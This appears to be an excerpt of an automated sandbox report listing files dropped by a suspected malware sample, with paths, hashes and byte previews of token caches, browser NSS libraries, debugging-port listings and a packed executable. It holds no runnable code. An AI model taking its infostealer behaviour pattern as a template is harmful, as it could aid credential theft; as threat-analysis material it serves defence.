dJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cd3d1ce8-c37f-43ae-acc8-0242b24a52ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46287
Entropy (8bit):	6.087201496510542
Encrypted:	false
SSDEEP:	768:jMkbJrT8IeQc5dKg1zi1zNtglF29fnXA9zY65Dk+bCiogJDSgzMMd6qD47u30T:jMk1rT8H1KKr2YY65bFogtSmd6qE7F
MD5:	2A894765C4AD6015C71E55FEA4BFAAF0
SHA1:	357FF280C625AD21D928AA67A9254AF7B1E60ED6
SHA-256:	1208100969D0EAC3B3966D9F9FCA45884DAA0F46EC1887580463B3FE302D78CC
SHA-512:	4F5A66006BF3ED352CF2743F1CDD07C0034ACF8DFD24883E85530397190D295F96C9518A6D420EDE0A68DC4F92819850E733401E9E6189390505923DA7531B8B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376800529554735","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2307ea2f-b7db-451b-8be9-822a69ad69e9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ff6b2710-8589-423f-9665-e73d3d3d5d7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46411
Entropy (8bit):	6.086846045010461
Encrypted:	false
SSDEEP:	768:jMkbJrT8IeQc5LKgIzi1zNtglFPfnXA9zY65Dk+bCiogJDSgzMMd6qD47u30T:jMk1rT8HDKlrmY65bFogtSmd6qE7F
MD5:	6B06C7E0F4A9CBA71E1CDAD36EF8C8CC
SHA1:	15FC82BD812D7B6631B62D82B60F75C050BA1BAD
SHA-256:	5FADBA93C93C6E6498F636748EA26735FAC97BC20A485FC29BEC84832C84069D
SHA-512:	2ADD3E7A1A187D1591F20C8C9CD111B0645D9F92F0BF81E5CE98801EBEEDF2F2822A6964DC8297A3D0EA1D61ABF80AAF656979C69B1EADA410AC0F836FC557AE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376800529554735","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"2307ea2f-b7db-451b-8be9-822a69ad69e9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8614229131459594
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx5xl9Il8u8PLG0NUKXn//CHq/Dkocd1rc:m8YWPC0GKXn/yqDz7
MD5:	7D928ED7C06B385EF53EA434F739ED2B
SHA1:	02D7911130CEB3D404B59634946EBA5D5F7A5E45
SHA-256:	4383C8646F5EA5262321544243D933F6D8C56ADFB5CB6EED80895AE068BE7504
SHA-512:	9BFDD9321EA8A0FC166B03C8664A4317040F1213994A5DDD1CE4492B2BAD9AF714CA9DB7178D2A03A8FDFE49AE42A8044D3C85BAA0EBC02FA714B5EF7ADD871A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.O.V.K.F.M.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.W.D.n.2.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9947195612985715
Encrypted:	false
SSDEEP:	96:ZYWz0rVLepKH9RliSQ+SnkHmJ6f1UYDRQ7gvUAsu4:ZOrV4KHzlHQ+I9JUUmRQsgu4
MD5:	6A66041CAECEDFB6B50AE17E98C5B5DD
SHA1:	64291C6D87CC94A832F804054B2655D3B7435405
SHA-256:	82D464D7AA0DC1FA9E7E9BD06E83F276829C38172FE5341584ADF6FE8BF5C9EB
SHA-512:	1F4B59D50F8936A14863A707B9166B20FDC7CD5DCFEAB79CA31FFAC066D2D80B7409A04ADF0E2A31D52852C47F4E54BA4F2ED8C40D31BB9DD41B33018396A061
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Q.0.H.W.D.k.s.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.W.D.n.2.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8894867574421017
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xzxl9Il8u8igW+rpCbQlFtGPfqs6bSv0S70jSFd/vc:atYWiN+robQ9OfGbSD70j1
MD5:	89E76C769CAE714A34157372BB81BE79
SHA1:	9040648493FB0E87FF55A768AAC9496D77513FFC
SHA-256:	5DE0160FD8F9140F608D58FF2551623BB88599BA76F2DE4B6B6128B8C6E55DFE
SHA-512:	6BB61FFC42FD824023D9412BDA80742D1DBBD03C533C8773F730C3CE77154A006F6FD20A6D577759EEB9681D626340E8DE5960E14FD6AD52274191331C2EC659
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.V.g.y.P.x.x.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Y.W.D.n.2.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.389844248358504
Encrypted:	false
SSDEEP:	96:6NnQyHQ3NnQcbQzNnQYcA9QYjNnQCQdgEQtNnQNvCQNm8NnQz6FDQzINnQiHvwQ8:6N4NGNpc2jN7QcNOv/FNW6FiIN7/NC
MD5:	FB147458EB53BA4C6ECE73BCFE545936
SHA1:	BA956D5A515A31A47D4B2A1D1D814ECE3FCE13DB
SHA-256:	F469608306461B3CDA8E6EEF6EA616488C612A1925C74C6E7D47E94C1A4BC740
SHA-512:	F81A3D23C29C401F9FC832102004E687539755598BF1DD4AF48DDF1012F99A665D94C46389EC78900809DEED9D9C932617351B2FA561EE9E6F0629E2A1531829
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/905B4E9C3701025336C0507084C45220",.. "id": "905B4E9C3701025336C0507084C45220",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/905B4E9C3701025336C0507084C45220"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F52B79014EC980C7797C4B1473E7D1B7",.. "id": "F52B79014EC980C7797C4B1473E7D1B7",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F52B79014EC980C7797C4B1473E7D1B7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37555299907035
Encrypted:	false
SSDEEP:	48:SfNaoQRTEQrfNaoQkssQk/fNaoQxLbQxRfNaoQU2f0UrU0U8QG:6NnQRTEQDNnQkssQkXNnQZQLNnQJ0Url
MD5:	1051ACE7A4DB4BAAC9CE6906BDF008E1
SHA1:	2F79049CCCF56AC910CD74A2A3BAA4B7C0C36151
SHA-256:	65F98E0E13FBC3A5D96DAE9A2218FEA67CF8BB2D8832F5CA29F52FFEB983A6BF
SHA-512:	11A15AD6DBC84E89CE08B27CA581E885F8E998FD88954A105339C514678FD65309FCEED03329CF86D7EEF7DB6AC19EA8C756DED3E10CF584EA9FE282ACB56B04
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CF04AAC95A93B6B7E224F473C246AD03",.. "id": "CF04AAC95A93B6B7E224F473C246AD03",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CF04AAC95A93B6B7E224F473C246AD03"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1D744CFA02EF37A64A4232C7D7EAD969",.. "id": "1D744CFA02EF37A64A4232C7D7EAD969",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1D744CFA02EF37A64A4232C7D7EAD969"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.532692977745964
Encrypted:	false
SSDEEP:	768:qg4kBnp4fYws8ay5GF+D1LeeX4pENc89VQ4+NHiNRUHdQ:h42qfYFyMADAeX4pcc89VQ4CHaRU6
MD5:	770BBD25B8BD9A93CF231889655D0162
SHA1:	FB98D85BF928E54B6BFF130E9D87F1CB873E4F97
SHA-256:	B22C0596D4E6EEEAAD08B33E855D27B30DEF017E1938E809ABC8339921BF49A3
SHA-512:	6EBB15DEA71F051F851E391957C3B4705B5661C63793217F2BBA543FC743132630C641757E73B390D82A0BA3EED08DC8CF93B2D99E5D011AEC436265DDD99F08
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...`........J...@...................................C...@... ............................._.q.s............................D..............................pD...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...pablyzls.`......V....'.............@...ldihguet.....P........B.............@....taggant.0...`..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008317001\4965008c28.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	7.532692977745964
Encrypted:	false
SSDEEP:	768:qg4kBnp4fYws8ay5GF+D1LeeX4pENc89VQ4+NHiNRUHdQ:h42qfYFyMADAeX4pcc89VQ4CHaRU6
MD5:	770BBD25B8BD9A93CF231889655D0162
SHA1:	FB98D85BF928E54B6BFF130E9D87F1CB873E4F97
SHA-256:	B22C0596D4E6EEEAAD08B33E855D27B30DEF017E1938E809ABC8339921BF49A3
SHA-512:	6EBB15DEA71F051F851E391957C3B4705B5661C63793217F2BBA543FC743132630C641757E73B390D82A0BA3EED08DC8CF93B2D99E5D011AEC436265DDD99F08
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...`........J...@...................................C...@... ............................._.q.s............................D..............................pD...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...pablyzls.`......V....'.............@...ldihguet.....P........B.............@....taggant.0...`..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4f7dea7e-e515-424b-b155-d9948e252078.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1751347
Entropy (8bit):	7.994468224910952
Encrypted:	true
SSDEEP:	49152:BbPAYXfVFyORPINoTMwQfCK1ndrmD5VU7oSgXdfC:ZPAYPOYQNoTMfCKDrmV9hda
MD5:	BEA2B1AD7C66C06FF4E466F57A183E45
SHA1:	C32350FF7C4076A09B93C38E99DC045A063E1295
SHA-256:	D1D8840798E8D02DB7521EC537AF82D4F4E74F3D0A000C0813FFAA33C29A8BA8
SHA-512:	DC777569C5A8BA061EEF80BE0063B3E13BF3EE9AC9017CF060EA605C855378EC3E2141991C153BDA43988C4D6357EAEB46985C8D8F429309528B6C69493380E5
Malicious:	false
